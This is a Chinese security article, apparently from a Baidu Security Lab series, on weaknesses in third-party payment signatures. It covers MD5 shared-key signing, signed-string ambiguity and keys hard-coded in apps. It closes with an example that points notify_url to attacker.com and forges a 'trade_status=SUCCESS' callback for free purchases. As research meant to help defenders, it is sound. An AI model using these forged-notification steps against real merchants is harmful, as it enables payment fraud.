百度安全实验室：支付安全不能说的那些事儿(2)

基于散列函数的签名机制安全性来自于哈希函数的不可逆性。在支付平台中此类签名机制几乎得到所有平台的使用。每个商户与支付平台预先共享一个密钥，以及协商一个hash函数（例如MD5或者SHA1）。在发送消息时，每个商户活支付平台在消息中附加上与对方共享的这个密钥，再对整体进行hash运算，得到签名值，与原始消息合并作为最后的消息发送给对方。在接受消息时则将签名值剥离，将剩下的部分与密钥组合后进行hash运算，检验生成的散列值是否与发来的签名值相符。在这个体制中，最关键的无疑就是商户和支付平台预先共享的这个密钥了。一旦这个密钥泄露，攻击者既可以模仿商户给支付平台发信息，又可以模仿支付平台给商户发信息，以进行各类欺骗和攻击，危害无穷。在目前支付平台所采用的签名机制中，以基于MD5的签名最为常见。

此外，以上提到的私钥泄露，其实等同于令商户/支付平台对指定字符串进行签名的能力。如果攻击者可以在很少代价的情况下对指定的“畸形”/“恶意”串进行签名的话，也相当于获得了任意签名的能力，从而以很小的代价发起攻击。

值得注意的是，基于MD5的签名机制并不仅限于"支付协议"中使用，在相当多类型的通信中均得到大量应用。而MD5如果不严格限定输入并使用正确的模式将会是相当脆弱的，我们可以构造通用的签名碰撞攻击，将在后继文章中进行介绍。

同时，支付结果的同步、异步通知则是最容易受到攻击的点。支付结果的同步通知可以在端上被攻击者篡改（例如使用代理或者Xposed）。对于异步通知，由于异步通知经常缺乏可靠的对发送者的身份鉴定，因此攻击者可以自行构造异步通知来通知商户服务已支付成功，从而完成攻击。此外，异步通知的地址往往是可变的，以参数的形式传递给支付平台。攻击者一旦获得了修改异步通知地址的能力，也会对支付过程的安全性造成威胁。

二、签名机制

1、基于MD5的消息完整性签名机制

在目前国内大部分支付平台以及诸如anySDK平台等平台的接口中均使用或曾使用基于MD5的消息完整性签名机制。该机制主要用户保证图1中四方通讯时消息传递的完整性。

基于MD5的消息完整性签名机制如图2所示。该方法的关键在于：商家和钱包服务之间共享一个签名密钥。该签名密钥参与到每个签名生成以及签名验证过程中。该密钥不能泄露，一旦泄露则会造成极大安全隐患。攻击者可以借助泄露的密钥来伪造消息，修改订单，发送支付成功消息等。

在签名过程中，签名方将待签名的原请求中的key-value对按照key的字母序进行排序，然后连接在一起。这个连接可以使用‘&’组合，也可以不使用‘&’。再将签名密钥附带在组合的结尾，生成“待签字符串”。有的签名方案使用‘&key=’来连接key，有的则直接附加key在末尾，区别不大。然后使用MD5算法生成待签字符串的散列值作为签名。最后将该散列值作为一个域附加在原请求中，得到最终的请求。

验签过程和签名过程是基本相同的。首先从最终请求中分离出签名域，再将需要验签的部分按照key的顺序排列并重新组合，附加上签名密钥，生成签名过程中的“待签字符串”，最后计算其MD5值，判断其与最终请求中所带的散列值是否相符。

2、基于非对称密码体制的签名机制

应用这一类签名机制的平台较少，其支付过程可参见图3。

以RSA为例。商户生成一对RSA公私钥对，钱包服务生成一对RSA公私钥对。双方把各自的公钥（金色钥匙）发给对方。

对消息进行签名的过程和基于MD5的过程类似，也是首先将请求按key-value对排序，再使用RSA-SHA1算法（先SHA1再变形再RSA）和对方的RSA公钥生成签名，最后将签名附在原请求中形成完整的请求。 验签过程使用自己的RSA私钥进行验签，具体过程不表。

3、待签字符串的生成

以上两类签名机制均依赖于“待签字符串”的生成。在待签字符串的生成过程中有以下四个主要问题：

• 参数值为空的情况。在某些平台中，参数值为空的参数在待签字符串中被忽略。在某些平台中则不被忽略。
• 参数值的编码问题。在某些平台中，参数值编码后（编码方式也有不同）进入待签字符串。在某些平台中则在解码后进入待签字符串。
• 特殊字符问题。由于待签字符串使用&和=作为元字符，因此参数中存在的&和=等字符会影响待签字符串的结构。不同平台对特殊字符的处理也不同。
• 进入待签字符串的参数选择。某些平台中，所有参数均进入待签字符串中参与签名生成。而某些平台中只有指定参数才会进入待签字符串中参与运算。

待签字符串的种种性质导致了其“二义性”的出现。在某些情况下，同一个待签字符串可以等价于两个不同请求。例如这个待签字符串

a=A&b=B&c=C&d=D

可以由一个包含四个key-value对的原请求

{"a":"A", "b":"B", "c":"C", "d":"D"}

生成。在某些情况下，还可以由以下包含五个key-value对的原请求生成

{"a":"A", "b":"B", "c":"C", "d":"D", "junk":"JUNK"}

或者，在另一些情况下，可以由以下只包含三个key-value对的原请求生成

{"a":"A&b=B", "c":"C", "d":"D"}

这些变形依赖于“待签字符串”的生成方法。攻击者可以通过构造畸形请求来生成具有相同“待签字符串”的请求，从而绕过签名验证限制。

三、支付协议的安全漏洞

由以上分析，第三方支付过程的安全严重依赖于以下三点：

密钥的安全管理

支付平台签名算法的正确实现

商户对支付协议的正确使用

然而在生产环境中每个环节都有可能出错，引起严重的安全隐患。

1、密钥泄露

这是最常见的一种安全漏洞。密钥泄漏并不是一种罕见的情况，不少app在开发时，将密钥硬编码在app代码中（用于本地实现签名计算）。消息的完整性依赖于签名的计算，密钥泄漏后消息将无法保证未被篡改或伪造。但对称密钥和不对称密钥泄漏后的利用和危害有所区别。

图4展示了最常见的情况。MD5签名密钥编码在用户App中造成密钥泄露。在对相当多的app进行逆向工程后我们发现，有部分app直接照搬一些样例代码，导致key被直接明文编码到程序中，非常容易提取。还有一部分app作者使用了一些变形手段，例如将key拆成奇数位、偶数位分别存储，或使用特定常数进行异或存储。这些简单变形在熟练的攻击者面前是徒劳的。

由于商户和支付平台共享密钥，密钥泄漏后，攻击者既可以冒充商户向支付平台发送订单消息，又可以冒充支付平台向商户发送支付结果。当然，后者更加直接（如图4）。

例如，若攻击者准备购买一件商品，其订单消息为

notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX,

攻击者可以首先通过修改notify_url到攻击者掌控的地址，如http://attacker.com/,提交请求:

notify_url=http://attacker.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX

来获得notify_url的结构。再伪造以下消息签名后发送给商户，伪造异步通知，实现免费购物。

target_url: http://seller.com/notify

post_data: put_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&sign=XXX.

（编辑：ASP站长网）